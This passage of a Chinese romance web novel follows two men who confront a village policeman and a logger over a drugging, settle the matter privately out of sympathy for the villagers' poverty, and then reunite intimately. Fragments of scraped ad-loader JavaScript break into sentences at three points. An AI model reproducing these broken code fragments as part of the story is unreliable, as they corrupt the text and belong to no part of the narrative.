这件事情总要有个结果,也总要解决,陈艾卅看了童宽一眼,童宽也对他点了点头,陈艾卅就回了个好。 出院后俩人没有直接去找郭响,而是先在小城里找了个宾馆,童宽带过来的东西都在巡林站,现在是不好再直接回去拿了,陈艾卅左右就一个包,倒没什么东西。 童宽说七年前和陈艾卅到这的宾馆已经找不到了,陈艾卅就走到他面前拉着他的手说没关系,他想的话可以一家一家住过来,童宽笑得差点没仰过去,说就没见过像他这样贪色的人。 不过陈艾卅也只是嘴上说说,到底也没那么禽兽,一来童宽还没恢复好,二来两个人到底也分开了半年,有些亲密动作还需要冷启动一下,虽说两个人现在也拥抱亲吻,但都停留在比较浅层的贴唇亲吻,也没有太过深入。 到了宾馆里,陈艾卅先是从包里取出了童宽的那块毛巾帕子,之前没机会洗干净,现在记挂了起来。在洗手间里搓着的时候,童宽从门口探了个脑袋过来,陈艾卅就抬起了头,对他笑了笑。 “怎么不歇着,我一会儿就洗完了。” “看看你在干嘛。” 陈艾卅举起了手里都是沫子的毛巾帕子,“洗干净了再还给你。” 童宽抬了抬眉毛,抿了抿嘴,又笑了起来。 “你不好意思个什么?”陈艾卅笑着问他,每次童宽摆这个表情,就知道他有点害羞了。 “你从来没给我洗过这个帕子,这是第一次。”童宽轻声说,“虽然你会把咱俩的衣服都放进洗衣机。” “以前呢,”陈艾卅慢慢地说着,“我总是问得太多,做得太少,碰到什么事就总喜欢问你,换作以前,总会想,这是你贴身的东西,我擅自洗了是不是你就没那个感觉了,经历过这次,反而觉悟了,想到什么事,做了就做了。” 童宽看着陈艾卅,慢慢也笑了起来,又说了一句:“卅哥,我感觉你也长大了。” 陈艾卅笑叹了一声,“以前你不觉得我幼稚吗?” “从来没觉得过,”童宽说,“就感觉你特别美好,你在旁边,就会有好事发生。” “把我当吉祥物啊?” “把你当护身符。” 陈艾卅一下没接上话,心里又酸又暖,点了点头,把手上的帕子冲干净了,又拧了拧。 “卅哥。” “嗯?” “你回来了真好。” “嗯,”陈艾卅点了点头,“把你找回来了也真好。” 小毛巾还是童宽自己挂上的,阳光从窗户外洒到洒到了他身上,他只穿了一件白衬衫,可能是秋天独有的阳光太有穿透力,从背面望过去,能看到童宽在衬衫里头身体的轮廓,比之前更加消瘦,陈艾卅有些心疼、也有些心动,他走到童宽的背面,伸手从背后抱住他,鼻息喷洒在他的后颈侧,童宽的手明显停滞了一下。 “怎么了,卅哥?” “……虽然说了不少次了,但还是,”陈艾卅轻轻咬了他一下脖子,“我爱你。” 童宽抬起了头,往后转了转,陈艾卅想去捉他的唇,却被他躲过了,童宽说,“要耳朵。” 陈艾卅就又往前伸了伸脖子,两个人的身体贴得一丝缝都没有,童宽就在他的耳边说,“我也爱你,一直爱你。” 他们再也控制不住自己心里头汹涌的爱意,陈艾卅刚刚还只是在脖子上的舔舐逐渐加重了力道,童宽的手向后勾了过去,眼睛微阖仰着脖子的样子,差点就让陈艾卅破功,他按捺住了自己上下求索的手,牢牢地固定在童宽的腰侧,在即将会留下红印之前,松开了嘴,他的胸口一直在童宽的后背上起伏着,童宽也握紧了他的手。 “……卅哥。”童宽的声音有些暗哑。 “等等,我们等等,等你再……”陈艾卅也忍不住箍紧了他,却不再动作。 童宽转过了身来,抱住了陈艾卅,在他胸口隔着衣服咬了一口。 “嘶,怎么咬人呢?” “想咬。” 陈艾卅笑了一声,捏了捏他的腰,故意逗他,也想把两人的这股火给压下来,“宽总,我这还没上班呢?” “上班也就是我一句话的事。”童宽冲他挑了个眉毛。 他的小孩儿什么时候这么霸气了,陈艾卅也不客气,一把抓住了童宽的屁股,嘴上却还是在讨饶,“宽总,我们还有正事要干。” “现在干的不就是正事?” 陈艾卅的笑声也有些哑,摸着童宽的背安抚,“这么着急。” “有点,”童宽埋在陈艾卅的胸口,声音闷闷的,“太久了。” “你……没?” “没有。” “……半年前开始就?” “嗯。” 造孽啊!陈艾卅心里大声喊了一句。虽然半年前离开了童宽后,他没有再谈过恋爱,也没有和任何人发生过什么关系,但是偶尔的生理冲动还是会有,可他现在才开始后悔,每次自己解决的时候,明明脑子里都是童宽的样子,自己却从来没有主动联系过他。他知道,对不起这三个字太无力了,多说无益,就让他用剩下的日子,慢慢偿还这半年来的缺失吧。 “我们,先去找一下郭响?”陈艾卅 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一下一下轻拍着童宽的背,“都答应人家了。” 童宽从陈艾卅的怀里挣脱了出来,突然问了陈艾卅一个问题,“祝明修会坐牢吗?” “不知道,”陈艾卅从他的眼睛里读到了一些心软,“不想惩罚他?” “先去派出所了解一下情况再说吧。”童宽叹了口气。 陈艾卅点了点头。 两人刚走到派出所门口,郭响就出来了,面上带着个特别客气的笑,“老卅,童老师,来了啊。” 陈艾卅挑了个眉没什么好气,倒是童宽,虽然面上还是有些清冷,到底还是带着一丝笑点了点头,“嗯。” 郭响这次没把他们俩往问讯室里头带,倒是进了一间挺大的会议室,进门前还招呼一个小警察倒两杯水进来。 刚端进来的两杯茶还冒着热气,陈艾卅瞥了一眼还看到了底部的一些茶叶,有了些对待巡查领导的意思郭响应该是有备而来,就是陈艾卅多少有些像不明白,为什么一个民警要去袒护很明显的犯罪行为。 “让童老师受累了,实在对不住。”郭响什么都没说,先赔了个礼。 童宽没说话,表面还是淡淡的,仿佛没听见一样,陈艾卅也什么都没说,只是盯着郭响看。 “我们这,”郭响往前坐了一下,手放到了桌上,“的确有很多不规范的事,小地方,穷,难免的。” 陈艾卅见他要为人开脱,立刻打断了,故意往严重里说着,“穷不是要杀人的借口。” “没没没,老卅,咱不能这么说,不至于杀人,他们没那么大胆子。” “没要杀人?”陈艾卅的身体也往前倾了倾,话里头充满了压迫感,“你知道我刚找到童宽的时候他什么样吗?他就靠在一棵树上!!叫不醒!后来醒了也迷迷糊糊的,你们说没要杀人?!还要怎么才算蓄意杀人?” “不是……老卅,你冷静点。”郭响见陈艾卅这么激动,也有点着急,“他们没这么大胆子,你问问童老师,他刚到那的前两天,有没有受伤,他们也极力劝阻他不要靠近了吧?” “那为什么给他下药?弄晕过去?”陈艾卅摆了摆手,“你作为警察,为什么要维护他们,难道你跟他们是一伙儿的?!” “陈艾卅!”郭响的脾气也上来了,拍了下桌子直接站了起来,“请注意你的言辞!” “郭响,”陈艾卅瞪着眼睛,说话的声音虽然不大,但也毫不相让,“我说过,如果你的解释站不住脚,那我会一直往上提起诉讼,派出所有鬼就往分局里报,分局里有鬼就往市局里报,市局里有鬼就往省厅里,你如果还有点做警察的良心,最好不要包庇他们。还有,我不是要报复,要报复我也不会等到现在,我只是要一个解释。” 郭响沉默了好一会儿,又转过头去问童宽,“祝明修说他和你解释过了,他解释明白了吗?” 童宽的手交叉放到了身前,人往后靠了靠,额头上有些碎发掉了下来,他现在脸上已经没了青茬,整个人看起来干净又疏离,“他的解释还不足以说明他的行为,说服不了我,”他又向陈艾卅那看了去,“也没办法说服他。” 郭响深深叹了口气,“走吧,我带你们看点东西。” 50. 穷病 两人出了派出所上了郭响的车,是一辆几乎现在快要看不到的帕萨特2000,发动的时候还有一些困难,陈艾卅和童宽坐在后排,他脸上还是有些怒意,倒是童宽,脸冲着窗外边没什么表情。 车从大道上开往了村间小道,这里已经铺上了水泥路,车开上去也没什么太大的感觉,左右拐了两个弯后,在一个自建房的门口停下了,先是郭响下了车,陈艾卅和童宽也下来了。 郭响站在铁栅栏门口,并没有什么门铃,村里的通讯基本靠的是喊。 “老祝!!”郭响一边拍着门一边喊着,“老祝!!!在不在!!开门!!!” 过了一会儿,祝明修没有过来,倒是有个老太太蹒跚着挪了过来,应该是经年的劳作压弯了她的腰,只能弓着背努力抬头看他们,因为太过用力,额头上的褶皱更深了,因为没牙嘴唇还有些往里收,说出话来的声音有些苍老破碎,“你们找谁哇?” “大娘,我是小郭,来找老祝。”郭响似乎和这个老太太很熟悉。 “他下地去了,不在家里。” 郭响有些犹豫,“能让我们先进去不,我联系他,让他回来,有事和他聊。” 老太太打开了门,把人往家里请。 陈艾卅走进房间的时候发现,这是个十分典型的翻新过的农民自建房,餐厅里还是水泥地,就是上面上了一层漆,没看错的话还用清漆封了一下,光照下来反着光,他又往左边看过去,是一个接近30平的客厅,地上铺着瓷砖,整个房间十分空旷,只有一个矮柜、一张沙发和一个电视柜,上面还放着十分老旧的电视。 老太太把他们引到了餐厅里,一张老实的实木四方桌子,四边都放着长条板凳,她佝偻着身体从厨房里拿出了一个脸盆和热水瓶,脸盆里面有三个搪瓷杯,放到了桌上,就这几个动作,她都有些累得接不上气。 “你打电话给他,我回屋了,水你们自己喝。” 郭响点了点头,“麻烦了大娘,您赶紧歇着去吧。” 围坐在桌边的三个人,看着老太太一步步蹒跚着,她并没有上楼,而是出了餐厅,走到了屋外的一个房间里,等到关上门后,郭响才开始说话。 “那是祝明修的妈。” 陈艾卅和童宽早就猜到了,但还是点了点头。 郭响拿出了搪瓷杯,都摆在了自己面前,又挨个倒上了水,先在童宽面前放了一杯,再在陈艾卅面前放了一杯,最后留了一杯给自己。 “我联系一下老祝。” 郭响并没有躲开他们打电话,当着他们的面,让祝明修赶紧回来,手机漏音严重,还是能听到电锯和祝明修的推辞,好像在说那边正在忙,可郭响还是拿出了一副老民警的样子让他赶快回来,才挂了电话。 “他一会儿就到,我们稍微等等。” “你要带我们看什么?”陈艾卅说。 “还是等老祝回来让他说吧,”郭响顿了顿,“我说的也怕你们不信。” 陈艾卅皱了皱眉,童宽依旧没什么表情,甚至有些出尘的模样。 不多久,祝明修进屋了,看到童宽后,他好像有些反感,又自知逃不过,还是桌边坐了下来。 “抓我去判刑?”祝明修坐下的第一句话就充满了攻击性,这让陈艾卅十分不爽。 “有必要的话。”他紧跟了一句。 祝明修冷笑了一声,倒是对着郭响说的,“也不错啊,牢里有吃有喝,每天生活规律,还有饱觉睡,比外面讨生活方便多了啊?” “别犯浑,”郭响直接打断了他,“你不为你自己想,也想想你老娘和闺女。” 祝明修这才平静了下来,从口袋里摸出了一个烟盒,没有包装,拿出的烟也不如那些成烟来得精致,更像是他自己拿烟纸卷的烟丝,他上下摸了摸口袋,又看向了郭响,“有火机没?” 郭响摸了摸自己的裤兜,摸出来一个荧光绿的透明火机,递给了祝明修,点燃了后,烟顺着从外面吹进来的风扑到了陈艾卅的脸上,因为咽炎,他的嗓子还是有些敏感,忍不住皱了皱眉。 “换个座位?”童宽说。 陈艾卅摇了摇头,“我和你坐一边吧。” 两个人都不抽烟,也从来没因为工作忙碌而染上这个习惯,虽然陈艾卅有的时候面临一些饭局酒局不得不赖上那么一根,但到底还是不喜欢这个味道,甚至会反射性地犯恶心。 “老弟,”祝明修对着童宽先开了口,“对不住你了。” 童宽挑了下眉梢,身上的清冷感十足,没发作,也没提原谅,只是平白直述地说:“说说原因吧,趁大家都在。” 祝明修重重抽了一口烟,“穷呗,还能有什么原因。”说出来后他倒是有些如释重负,还笑了一声,“你们生活在城市里的人没感觉,总觉得出了门就能挣到钱,没有一技之长,还能去送快递、送外卖,我们这呢?” “不是,”陈艾卅有些不理解,“这和你伤害他有什么关系?” “有什么关系?”祝明修笑了出来,“这娃子上来就质问我们为什么砍树,你让我们日子怎么过下去?” “据我所知自从伐木转保护了之后你们会有固定的补贴?” 祝明修像听了什么笑话一样,“补贴?补贴能有几个钱?巡林站有补贴,村里其他人呢?我们之前这里靠伐木养活好几个村子,现在呢,比之前更不如。” 说到这里,祝明修有点激动了起来,反问陈艾卅和童宽,“听说你们七年前来过吧,还记得这里长什么样吗?” 到处都是矮破的房子,进了村连水泥路都没有,最多只有嵌在泥土里的石板。 三个人都沉默了下来。 “那是伐木转保护的第一年,我们一开始听到补贴也是高兴的。” 祝明修狠狠抽了一口烟,“但我们这里地方偏,头两年是受到关注的,后来政策变了,风向也变了,补贴越来越少,就算我们去问相关部门,答复也是再等等。” 陈艾卅紧紧皱着眉,童宽抿了一下唇,依旧看不出情绪。 “我等不了了,我家婆娘那会已经病重了,动手术要不少钱,闺女第二年就要上学了。不光是我,领导,”祝明修情不自禁地叫起了他们领导,仿佛在向相关部门领导反馈一样,“整个村每家每户都有困难,换做之前,还能靠伐木有点营生,可那会,一直到现在,真的什么都没有了。” 刚刚的一句“怎么不向上反馈”噎在陈艾卅的嗓子口,怎么都说不出来,倒是一直若有所思的童宽,此时开了口。 “你们有没有想过,为什么补贴一直下不来吗?” “为什么,”祝明修嗤笑了一下,“公众参与太少,关注度不够,都是要做成绩的人,没人在意,这成绩做给谁看呢?” 童宽点了点头,转过去问看向陈艾卅,这会儿倒是一点没避嫌,“卅哥,你怎么看?” 在童宽问出这个问题的时候,陈艾卅就大概知道童宽要做什么了,或许最后致使他愿意一起跟着来的原因,就在这里。如果连林子都没人关注了,再去做这相关的app又有什么用呢,或许应该重新思考一下再出发的奇点了,可是…… 陈艾卅对着童宽点了个头,“我觉得可以深挖一下。” 童宽也笑了,他知道陈艾卅明白他什么意思。 “哎呦,你俩这个动静,”祝明修一个没忍住,“看得人怪麻的咧。” 郭响尴尬地笑了两声,又清了清嗓子,喊了他一声老祝。 “说实话,”祝明修叹了口气,“虽然我也不知道你是什么路数,但你来巡林站的时候就知道你不是个普通来当 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 志愿者的,我们就是没想到你还会下地探那个断层,严格来说,这也可以不算伐木转保护林,我们这些年,在保护林里一直在种树,也是为了弥补伐木的损失。” 见陈艾卅和童宽都没说话,祝明修才继续说了下去,期间郭响还为他倒了一杯水。 “我们一直以来就是靠伐木为生的,这里种的榉木长得快,一直靠卖原木材才能有收入,是,现在是讲究环保,伐木破坏植物,气候变暖这些都和这个有关系,但我只想说……在环保和生存之间,你觉得我们应该怎么选?” “那你们也不应该伤害他!”陈艾卅直接反驳了回去。 “这娃子刚看到我们的时候,非常生气,说这里搞了好几年环保项目就被我们给毁了,他这么一说我们就怕了,这几年村子里偷偷摸摸靠这些铺了水泥路,家家房屋都有了修缮,还通了电,如果真的被捅上去,不说坐牢,赔钱我们这里谁都受不起。” “所以这就是你一直要我再想想的原因?”陈艾卅问向了郭响。 郭响点了点头,声音有些恍惚,“我也是这个村子里出来的人,我知道我们村的处境。” “怎么不去上学,学个技能,或者干点被的?” 这个问题两人都没回复,倒是童宽回答了他。 “卅哥,别人老说学习是捷径,可我自己知道,穷人家的孩子,读个书就挺难的了,考试也是广普性质的,太难了。有学上有的时候也是一种奢侈。” 陈艾卅这时候才觉得有些冒犯,他是从小长在城市里的孩子,能上高中的时候上高中,能上大学的时候上大学,甚至自己专心在做植树活动,也并没有对他是城市里的孩子有什么改变,他依旧是意气奋发的陈艾卅,而穷人家的孩子依旧是别人。 他的童宽就不一样了,有的时候他都不敢去思索,童宽到底在学业上付出了多少,才能一路大学到考研,还能达到万里挑一的顶尖。 “老祝,”童宽开了口,“我从来没想过要起诉你,也没想着要把你的事情告出去,我能理解你目前你的经历,”他笑了一下,“不瞒你说,我现在一身的债,我们都想把日子过下去。我来这边,也是想看看,有没有什么机会,可以让我们的日子都好过一点。” 郭响明显松了一口气,祝明修甚至有些激动,“你……你要帮我们?” “互相帮助吧。” 听到这个回答,祝明修甚至眼眶里都有了些泪花,眼尾的皱纹更深了一些,一个劲地对着他们说着谢谢和对不起。 陈艾卅见他实在是情难自禁,忍不住起身拍了拍,半开玩笑半认真地说了句,“也就是童宽没什么事,不然把你送进牢里都是轻的。” “哎,哎,我们哪敢,就是……就是这娃子硬是护着一棵树,我们也没辙啊。” “还娃子,叫宽总。”郭响跟了一句。 “哎哎,宽总。” 从祝明修家里出来后,他们才看到从一楼房间里探出头来的老太太,她好像也很紧张,直到他们启动了车才回了房间。 “我知道这些话我说不合适,”郭响沉默了半天,“但还是想替我们村谢谢你们。” “瞒得了一时瞒不住一世,这事不长久,趁早让老祝别做了吧。”陈艾卅说。 “我知道,日劝夜劝,但大多数人家里都还要钱,暂时应该停不下来。” 刚坐上车,童宽就对郭响说:“劳烦前面村口把我们放下来吧” “不用送你们回去吗?”郭响问。 “没事,我们附近走走。” 这里的秋风似乎比家那边的要更猛烈一些,下了车后,陈艾卅用手掖了掖童宽的领子,又握起童宽的手和他的一起塞进外套的口袋里。好似终于等到机会似的,对着童宽问了一句,“为什么一定要守那一棵树?” 51. 洋葱 “卅哥,”童宽笑了笑,“我当时,其实有点冲动了。” “为什么?” “我……”童宽有些犹豫,还是说了出来,“我没见到我们种的那棵树,看见他们锯木头,就好像你曾经做了很久的事情都泡汤了一样。” 陈艾卅笑了一下,“你不是说,来这里不是单纯为了想我吗?” 童宽停了下来,看着陈艾卅泛着淡淡的笑,“想你,不用很刻意的,做每件事都会想到。” 陈艾卅突然有些后悔刚刚言语上逗弄他,却也不知道要怎么接下去好,只能又和童宽一起慢慢走着,只是在口袋里的那只手,握得更紧了一点。 “这半年,我过得也有些浑浑噩噩,好像有些分不清白天黑夜似的。”童宽娓娓道来,“我不是不知道自己过分专注在工作上,但是我停不下来,一停下来就有罪恶感,就好像眼前有个胡萝卜的骡子一样,就算累得要命了,还是受不了诱惑。” “你也从来不说,宁可自己梗在心里,自己扛。”难得陈艾卅责怪了童宽两句。 童宽在衣服兜里的手捏了捏陈艾卅的,“那时候你也很忙的,你忘啦?” “是吗?”陈艾卅对半年前自己的状态已经有些模糊了。 “你一年前刚刚做上销售总监,你领导还特别喜欢派你去应酬,不是去吃饭,就是KTV,要不就是会所,有的时候还出海玩,也不知道你有没有沾染上什么坏习惯。” “我还真不太记得了,”陈艾卅跨了一步到童宽的面前,好像恢复了很多年前的那个魅力无限的校园帅哥一样,露了个大笑脸给童宽,认认真真地看着他,“我可一直洁身自好的,上去就先标榜自己家里有个小老虎。” 童宽被他一逗,刚刚的揶揄一下就消散了,露出了虎牙,又叹了一口气,凑到了陈艾卅的耳边,轻声说了一句,“卅哥,你家小孩儿好歹也是个总,雪茄什么味道还是闻得出来的。” 陈艾卅被他一说,眉头一紧,又啧啧了两声,“果然是要当我老板的人啊,一点小谎都瞒不过去。” “只有雪茄吗?”童宽追着问。 “只有雪茄,最多雪茄。” “没有……别的?”童宽对着陈艾卅抬了抬眉毛。 陈艾卅知道他说的是什么,但就是不乐意接话,一个年轻气盛在学校里都不会随便勾搭的人,怎么会到了社会就开始变了,何况他已经有了最好的、唯一的答案了。他没搭理童宽,就只是牵着他的手继续往前走着。 这里的天气凉,又一阵冷风吹过来,童宽咳嗽了两声,陈艾卅就立刻从包里拿出了保温杯,拧开了盖子递到了童宽面前,“喝点水,加了蜂蜜的。之前抽空在早市上买的,说是槐花蜜,很香,你尝尝。” 童宽就倔着性子不搭理他,把脑袋往旁边一转。 其实童宽很少有这样的时候,大多数都是顺着陈艾卅,听他讲话、顺着他的话说,别说耍小脾气了,即使是假装生气,也基本没有。他这个表现看得陈艾卅心里发痒,又把保温杯给盖了起来,放回了包里,接着就站定了,牵着童宽的手拉向自己,把他抱在了怀里。 “宝宝生气了么?” “宝宝不要生气了好不好?” “宝宝?小宽?宽宽?宽宽宝贝?” “卅哥,你怎么年纪越大越腻歪了,”童宽实在没忍住,笑了出来,也伸出了手回抱他,可下一秒还是假装语气很凶地问,“还没回答我,有没有别的?” “哪有别的,但凡应酬他们要来点事,我就到处跟人说我有男朋友,我喜欢男的,他们不嫌弃我都算不错了。” “那就没人给你来个男的吗?”童宽在陈艾卅的背上轻轻拧了一下。 陈艾卅清了清嗓子,有些不好意思,但还是打算实话实说,“有、有人想这么干来着。” “啊?!”童宽的声音一下子提高了,“还真有?!” “真有啊……” “那你有没有?!” “我哪有,我哪敢,我放着家里这么个大宝贝不要,我去摸别人,我疯了?!” “你那会儿也没好好……摸、摸我。”童宽说着说着声音低了下去。 “补,必须补,少一下补三下,行不行?” “不要。” “要嘛。” “……不要。” “要嘛……” “不要。” “那不要。” “不行……要。” “要!必须要!” 即使两个人在一起七年,好像也没有如此刻这般敞开心扉,陈艾卅真的太喜欢童宽撒娇的样子了,他并不像那些偏女性的男孩子,在撒娇和发嗲上面总是有一些少年矜持,现在又多添了一份成熟,话语里就多了一些直白,挑得陈艾卅火从心起。 两个人闹笑了一会儿,又回到了手牵手的姿势。 “提早让郭响把我们放下来,是想和我一起散散步么?” “不光是这样,”童宽说,“我想看看这边村子到底是什么样的。” 眼前的村子并不像真正的农村,更像是自建房群落,这里都通着电,挂着空调外机,有几户人家还能明显看到卫星电视的天线,看来伐木本身对这里的贡献的确不可磨灭,但放任下去总不是那么回事,陈艾卅明白童宽的心思,他想帮他们,也想自救。 “卅哥,”童宽开了口,“祝明修的事,就算了吧。” 陈艾卅没有立刻答应,他想听听童宽的理由,他心里始终对这个人没什么好感,就凭他把童宽一个人晾在那里一天一夜,就足够让他生气的了,但还是遵从了童宽的意愿,“嗯……” “我还是不想放弃公益云植树app这个概念,”童宽捏了捏陈艾卅的胳膊,“这是我们的初心。如果要做得落地一些,也需要当地的支持和帮助,祝明修这边的巡林站是一个很好的切入口,毕竟他肯定不会直接拒绝我们。” 陈艾卅点了点头,毕竟这人亏欠在先,肯定不会为难他们。 “何况,他们的确也靠伐木提供了不少经济来源,卅哥,我是苦出身,知道没钱的感觉,要不是当时孤儿院里有个阿姨对我比较照顾,也支持我读书上学,我恐怕真的没法从那里走出来。” 陈艾卅最听不得这个,他总觉得自己在童宽的生命里出现得太晚了,如果可以的话,他希望童宽一到孤儿院,自己的父母就把他领回家。陈艾卅没忍住叹了口气,又点了点头。 “第三,”童宽低头笑了一下,“原因就比较私人了。” “嗯?” “要不是有这一趟,也不知道你什么时候会来找我。” “不是,”陈艾卅吞了一口唾沫,但话里的确有一些犹豫,“不过也不好说,我这张嘴用处的确 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不大。” “所以就算了吧,帮他们解决问题,比告发他们更有意义。”童宽对着陈艾卅又露出了那颗虎牙,“你说呢,卅哥?” “难得你心善,要是碰到一些硬茬,我看他们才不好收场。” 没想到这句话说完,童宽主动过来攀住了陈艾卅的胳膊,凑上去咬了咬陈艾卅的嘴角,声音说得很轻,“我心软、心善,都是因为有个疼我爱我的男朋友,把我身上的刺棱都给柔化了。” 陈艾卅就一把抱住了他的腰,“是么,那你男朋友还真厉害。” “我男朋友真的很厉害,”童宽松开了陈艾卅,用手指从路的这头,指到了路的那头,“大概有这么厉害。” “你男朋友知道你这么夸他么?” “他知道,他一直知道。” 两人是吃了晚饭才回到宾馆的,陈艾卅特意在结账的时候让童宽在小餐馆里等他一下,他出去买点东西,童宽疑惑,但也没问什么。 回来后,陈艾卅一脸贼笑,童宽就知道他去哪儿了。 等到了房间,陈艾卅刚把房卡插好打开灯,童宽就抬手把灯关掉了,从背后先帮陈艾卅的书包卸了下来,也没挪地,直接放到了地上,然后两只手从背后向前,环住了他的腰。 童宽把脸贴到了陈艾卅的背后,外套因为刚刚从室外进来还有点凉,可贴了不过几秒后,陈艾卅就感觉到了童宽的面颊温度升高了。 “卅哥。”童宽轻轻叫了他一句,“我知道你去哪里了。” 陈艾卅有心把预热拉长,也哑着嗓子轻轻问了他一句,“我去了哪里?” “你……去药店了。” “我去药店干什么?”陈艾卅的手盖到了童宽的手上,他的手心已经开始发烫了,似乎要把童宽的手背温度也带得高一点。 “买东西。” “买什么?” 童宽没再说话了,陈艾卅却转了过来,借着外面的一点点亮光看着童宽的眼睛,手先抚上了他的脸。 “告诉我,我去买什么了,嗯?” 童宽闭上了眼睛,眼睫毛颤抖着,似乎比陈艾卅更加急切,仰起了头,从唇缝里说出了三个字,尾音还没说完,陈艾卅的唇就覆了上去,他不能再等了,也不能让他再等了。 陈艾卅像剥洋葱一样,一层一层将童宽的衣服褪去,童宽的手也在解着他的,从门口挪到床边不过四五步路,两个人对彼此身体的肌肉记忆比脑内的记忆更牢固,躺下的时候就剩下了最后一点遮掩。 他们拥吻时,这七年的记忆幻化成了空间里的线,他们在收获时喘息,又在犹豫里叹息,他们在彼此年少的时候就互相抚慰,也在失控里寻找秩序,他们与常人一样,从挣扎生存到探索生活。 这时候陈艾卅的嘴可太好用了,他从童宽的眉心开始吻,一路湿濡的痕迹就好像这一路寻找童宽被自己擦干的泪水,又回到了自己的身体里,他太久没有闻到童宽的味道了,他埋在他身体的每个凹陷里让嗅觉被童宽的味道浸透、埋没,他想在这个味道里醉生梦死。 童宽已经被他吻得、嗅得按捺不住,却用最动情的“卅哥”催促。 陈艾卅再也克制不住自己对童宽的渴求,把他翻了过去,一口咬上了他的肩膀。 “小宽,”他吸着气,极力克制着自己说,“这会儿就算你疼,我也停不下来了。” 52. 烧窑 失而复得的感受,比初次拥有更加强烈。 陈艾卅嘴里说着任他痛,手里的动作却比初次还要仔细,他好像在爱抚一个薄薄的白瓷瓶,手掠过的地方,就会在瓷瓶上留下一些热意,刚握紧瓷瓶的时候还会觉得有些凉,稍后反而是瓷瓶的温度暖了上来。 他用身体的各个角度温暖着瓷瓶,似乎要把瓷瓶从内到外暖一遍,指甲弹过瓷瓶的时候,还会发出清脆的声音,这几声脆音实在太过诱人,陈艾卅听得几乎想把全身都钻进瓷瓶里。 七年的缠绵爱意,又加上了半年的悔恨,情绪汹涌地从心底里溢出来,化成了煮沸了的清油,几乎要把童宽淋透,淋到瓷瓶再也盛不住,淋到有更多的沸液从瓷瓶口向下滑落。 没有什么比现在的吻更加动情,他们爱意浓烈、肌肤相贴,在彼此的心脏里寻找自己的影子,狠狠拽出来,再与自己重合。他们早就互相交付性命,把生的希望浇筑成型。他们把这辈子的筹码,都孤注一掷地压在了对方的身上,再没有什么可以分开。 陈艾卅记得,有人问过他什么是拥有。 他当时没有答出来,现在却呼之欲出。 摊开掌心,然后握住,留在手里的,就是拥有。 他想做童宽永恒的拥有,也渴望童宽对他无限索求。 童宽向来不是耽于欲念的人,但今晚不一样、今晚不一样,像是随时能啼鸣的夜莺,在每一次陈艾卅离开他的时候又勾他回来,在每一次陈艾卅贴近他的时候又在他耳边说爱。 “卅哥,我爱你。” “卅哥,我好爱你。” “卅哥,我真的、嗯——真的好爱你。” 陈艾卅已经不敢去思考,童宽的这几声近乎无意识的告白背后,半年里的伤痛是什么样的,自己尚且失魂了半年,童宽应比他更如是,自责又让他温柔了起来,轻柔地呵护着瓷瓶不让他再受伤害。 风雨过后,瓷瓶还是那个瓷瓶,陈艾卅却有些脱力了,童宽用手抹了一下自己汗津津的脖子,失声笑了出来,伸出右手拍打了一下瘫在旁边的人。 “卅、哈哈哈,卅哥?” “……嗯。” “那个、咳,累了?” “……不累。” 童宽故意在话语里加了些揶揄,“到底还是差两岁。” 陈艾卅啧了一声,强忍着又坐了起来,眼神里有着压抑不住的疲惫,轻弹了一下童宽的脑门,“说什么呢。” 童宽凑到陈艾卅的耳边,又加了一些调皮,“说你老咯。” “我……”一直在童宽面前三缄其口的优秀学长,把一个“操”字咽回了嘴里,下一刻却叹了口气,也直挺挺地大字型躺在床上,手臂和童宽的交叠着。 “你以后会更老的。”童宽无意识地说了着。 “是啊,”陈艾卅看着天花板,说着衰老的话,嘴角却是笑着的,“会更老,还可能会秃顶、驼背、变肥、长老人斑。” “嗯……那时候我应该还是会很爱你。” “喜欢老头子啊?” “那得看是谁了。” 陈艾卅坐了起来,又去浴室里拿了干净的浴巾来,坐在床沿,擦着童宽的身体,还撩起了他的胳膊,特意擦了擦胳肢窝,童宽羞着躲说都是汗,陈艾卅就叨叨了一句都要变老夫老妻了,这点羞涩就不讲究了,童宽才听他的话,又撩起了另外一只胳膊,还翻过了面给他擦。 不得不说,在呵护童宽这点上,陈艾卅有着绝对的经验,他又去浴室里拿了湿毛巾,把童宽身上弄脏的地方也擦了一遍,又拿干毛巾擦干了留下的水痕,他怕童宽光着身子冷。 自己也弄干净了,两个舒爽得身体就贴在了一起,陈艾卅把童宽揽进了怀里,又把被子拉到了童宽的下巴这里,还特意给他掖了掖。 “卅哥,你抱着我呢,我热。” “不热,你冷静会儿。” “热……” 陈艾卅见犟不过怀里的人,就把他的脚和小腿露了些出来,“这样不热了吧?” “好点了。” 两个人都没闭眼,在黑暗里十指相扣。 “卅哥,其实我觉得你挺能容忍我的。” “嗯?” “我有的时候很感激你爸爸妈妈,”童宽的手指在陈艾卅的手心挠了挠,“觉得他们怎么能培养出这么优秀的孩子,然后还被我遇上了。” “我爸妈你也见过,他俩也不管我。” “那就是基因好,”童宽的声音低了下去,第一次在陈艾卅面前说起自己的少年心事,“我以前其实,挺极端的。” “是么?”陈艾卅抚着童宽的背,“我怎么从来没觉得。” “遇见你之后,我才开始慢慢变好。” 这些年来,除非童宽自己提起过去,陈艾卅从来不问,即使是偶尔零星告诉他的点滴,都能让陈艾卅揪心。他只知道童宽一直很乖,很安静,永远喜欢做角落里不起眼的小男孩。 “我虽然,”童宽犹豫了一下,好像在思考要不要继续往下说,陈艾卅依旧抚着他的背在鼓励,“我虽然看起来像是个乖乖小孩,但心里的戾气还是很重的,应该有的羡慕嫉妒恨一点没少,总是在思考为什么就我没有妈妈,没有家。别人不费吹灰之力就能上的学,我要求着阿姨才能上,别人有的学习工具,我用的都是别人捐的旧的……” 童宽深吸了一口气,陈艾卅却听得整个身体都有些僵住了,这是童宽从未向他袒露的、黑暗心事。 “我不觉得我比别人差在哪里,可是,比别人优秀要比别人差来得更痛苦,”童宽说到这里哽咽了一下,“以前我也,总是想不通,为什么是我,为什么要我承受这些,还有更多的、更多人的不理解、白眼、嫌弃、以及远离。” 等童宽这段话说完,陈艾卅深深叹了口气,把童宽往自己身体里揉得更紧了些,嘴唇落在他的鬓角轻吻。 